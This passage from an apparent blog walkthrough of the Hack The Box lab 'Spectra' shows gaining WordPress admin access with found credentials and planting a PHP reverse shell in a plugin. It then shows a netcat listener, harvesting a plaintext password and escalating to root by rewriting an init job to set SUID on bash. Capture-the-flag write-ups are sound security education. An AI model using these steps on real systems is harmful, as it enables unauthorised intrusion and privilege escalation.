src="https://cdn-images-1.medium.com/max/689/1*pAaQiE1hRCzvbwjSmEDZ9g.png" /></figure><p>External IP’s are likely not allowed to connect to this database, however, in connjunction with the other username “Administrator” found previously it may be possible to login to the Wordpress dashboard at <em>spectra.htb/main/wp-login.php</em>.</p><p>Login with the credentials: <strong>administrator:devteam01</strong></p><figure><img alt="Logging into Wordpress" src="https://cdn-images-1.medium.com/max/433/1*c0Ietzt2Z2j9IOv7w5LdLw.png" /></figure><h4>Getting Remote Code Execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*v-bmz7f_-mKEDHWffQCCQQ.png" /></figure><p>With administrator access to the dashboard there are several avenues to getting a php reverse shell. It may take multiple tries in different upload sections within Wordpress to initiate the reverse shell. Learn more about uploading reverse shells to Wordpress <a href="https://www.hackingarticles.in/wordpress-reverse-shell/">here</a>.</p><p><strong>Dropping a Shell</strong></p><p>The php reverse shell used in this tutorial is provided by <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">Pentest Monkey</a>.</p><p>Navigate to the plugin editor at <em>http://spectra.htb/main/wp-admin/plugin-editor.php</em> and copy and paste the php reverse shell code from the link above into the Akismet plugin. Add the attacker host IP and listening port within the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*ZBzb9SXjPhG6xi4yDYKalA.png" /></figure><blockquote>Quick Tip: The attacker host IP can be found by running the command ip a under the tun0 vpn interface (inet ip address)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*cSha1Eeodnfv0TsRKPoLMg.png" /></figure><p>With the reverse shell coded added, scroll down and click “<em>Update File</em>” (this may take multiple attempts)</p><p>Setup a netcat listener on the port specified in the reverse shell</p><pre>nc -nvlp 7771</pre><ul><li>-n option for no DNS (IP address only)</li><li>-v option for verbose</li><li>-l option for listen mode</li><li>-p option for port to listen on</li><li>7771 argument for specified port</li></ul><p><strong>Finding the Shell</strong></p><p>To run the reverse shell navigate to the plugin running on the site. In the nikto scan the Akismet readme.txt was located at spectra.htb/main/wp-content/plugins/akismet/readme.txt, and based on our plugin editor dashboard it could be assumed the php code was in the same directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/1*tb4hkH3B1Xw5kNn4EmRmuw.png" /></figure><p>Launch the reverse shell by navigating to http://spectra.htb/main/wp-content/plugins/akismet/akismet.php (nothing will load)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*EZBcI_GGBlkdyYBHO2wukw.png" /></figure><p>Successful reverse shell.</p><h4>Getting User</h4><p>The current user is the webserver nginx and does not have access to the user.txt. Escalate privileges to have access to other users.</p><p><strong>Who’s Home?</strong></p><p>Find out the current user.</p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/86/1*Nudy1G65GkgURk2Fp9vs3A.png" /></figure><p>Discover what is in nginx home directory (if anything)</p><pre>cd ~ ; ls -la</pre><ul><li>cd command changes the directory to what is specified</li><li>~ argument specifies the home directory of the current user</li><li>; is a command separator</li><li>ls command lists the contents of a directory</li><li>-la option specifies the long-list format and all</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*lzTLBxdrnfrufXeS6FPajA.png" /></figure><p>No user.txt here.</p><p>Identify other users.</p><pre>cat /etc/passwd | grep &quot;bash&quot;</pre><ul><li>cat command reads a file sequentially and prints it to the standard output</li><li>/etc/passwd file stores user account information</li><li>| pipes the output from one command to the input of another</li><li>grep &quot;bash&quot; filters the input for a specified pattern, in this case being “bash” to find users with the shell /bin/bash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*wO17NlUr62cis7_EZ3-kFA.png" /></figure><p>Users:</p><ul><li><strong>root</strong></li><li><strong>chronos</strong></li><li><strong>katie</strong></li><li><strong>nginx</strong></li></ul><p><strong>Sifting Through the File System</strong></p><p>An important part of privilege escalation is password/credential/ssh-key hunting. These can be found in configuration files, scripts, backups, and more. Important directories include /etc , /var , /opt , and more. Although there are automated solutions to password hunting, the best results are generally found manually.</p><pre>ls -la /opt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*oCbAqKt6crsfRUUYla-ofw.png" /></figure><p>Interesting Finds:</p><ul><li>autologin.conf.orig</li></ul><pre>cat opt/autologin.conf.orig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*5XShbPHyI4oR7pB6QqdgYQ.png" /></figure><p>This script appears to be reading a password in the file <em>/etc/autologin/passwd</em></p><pre>cat /etc/autologin/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*ZFoem00q72UW0a4I7-lPnA.png" /></figure><p>Interesting Finds:</p><ul><li>password: <strong>SummerHereWeCome!!</strong></li></ul><p><strong>Hello I Am Katie</strong></p><p>With the newly found password, attempt to SSH into the box with the usernames found above.</p><pre>ssh katie@spectra.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*uFvjaQPx_S62yHoChI6PTA.png" /></figure><p><strong>Getting User.txt</strong></p><p>In HTB machines the user.txt can always be found the in the user’s home directory. Navigate there and read it.</p><pre>cd ~ ; cat user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*HaYnrcMTyTUKNI_wtaBVGw.png" /></figure><h4>Getting Root</h4><p>There are many scripts to automate privilege escalation but it is important to understand how to find vulnerabilities manually. A great resource for privilege escalation is <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md">PayloadAllTheThings Linux Privilege Escalation</a>.</p><p><strong>What Power Do I Hold?</strong></p><p>Explore the groups and privileges of the user katie</p><pre>id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*gE9JBnrzOzNfoym4YXFTxw.png" /></figure><pre>sudo -l</pre><ul><li>sudo command allows a user to execute other commands with root privileges</li><li>-l option lists user’s privileges or check a specific command</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*FKfhOK5AOamDzqP-dF3Ufw.png" /></figure><p>Interesting Finds:</p><ul><li>initctl command controls the jobs in <em>/etc/init</em>, it has the following options:</li><li>list to list all jobs</li><li>start to start a job</li><li>stop to stop a job</li></ul><p><strong>Mind if I borrow this Job?</strong></p><p>With sudo access to initctl, one can find a <em>job.conf</em> file in <em>/etc/init</em> directory with write permissions and add a malicious script into the job to escalate their privileges. Usually these jobs are run when the box is started but can be manually run with initctl.</p><p>Find jobs with write permissions</p><pre>ls -la /etc/init | grep developers</pre><ul><li>grep for developers as that is a group the user <strong>katie</strong> is apart of</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*Quu3xapOVc5ldyYVigIx6w.png" /></figure><p>Find the status of the vulnerable jobs</p><pre>sudo /sbin/initctl list | grep test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*n-q23hetptnb51CwkTZqlQ.png" /></figure><p>Inspect <em>test.conf </em>(any of the test jobs would work as well with the following)</p><pre>cat /etc/init/test.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*qHecT41Voy9Mm38PBQWYeQ.png" /></figure><p>Init job scripts follow a very specific format starting with script on a new line and ending with end script on a new line.</p><blockquote>In my run through of this box I had issues writing directly in test.conf but found the following alternative</blockquote><p>Create a malicious job in a writable directory. There are a variety of scripts to escalate privileges with, from reverse shells, abusing root’s suid, and reading root’s id_rsa ssh key. Find an appropriate one for the specific situation.</p><pre>cd /tmp</pre><ul><li>the <em>/tmp </em>directory is an ideal location to stage scripts as it is guaranteed to have write access for all users.</li></ul><pre>nano badjob.txt</pre><ul><li>nano is one of many cli text editors available</li></ul><p>With a text editor add the following script to <em>badjob.txt </em>to set root’s SUID to the bash shell</p><pre>script<br>        chmod +s /bin/bash<br>end script</pre><ul><li>chmod command changes the permissions of a file</li><li>+s option sets an SUID bit which allows users to execute a file with the permissions of the file owner</li><li>/bin/bash is the bash shell executable</li></ul><p>Overwrite test.conf with the contents of badjob.txt and start the malicious job.</p><pre>cat badjob.txt &gt; /etc/init/test.conf ; sudo /sbin/initctl start test</pre><ul><li>&gt; writes the output of a command into a specified file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*eJAgy7NqnXaHxbzKzxYOIA.png" /></figure><p>Check the permissions of <em>/bin/bash</em></p><pre>ls -la /bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*9F-PwC1q8dNfQ2TDWIEt4w.png" /></figure><p><strong>So This Is Root</strong></p><pre>/bin/bash -p</pre><ul><li>-p option runs bash with SUID privileges (privileged)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*I-naoXfKDcK9sUkd68OJJg.png" /></figure><h4>Getting Root.txt</h4><pre>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*7lbPQ7DfGXhX04b9J0MCcg.png" /></figure><h4>Thanks for Making It to the End!</h4><p>Like this walkthrough? Know of ways I could have improved? Want to say hi? Let me know down below in the comments or DM me on Twitter <a href="https://twitter.com/mr_0rng">@Mr_0rng</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbd112ab3ac4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>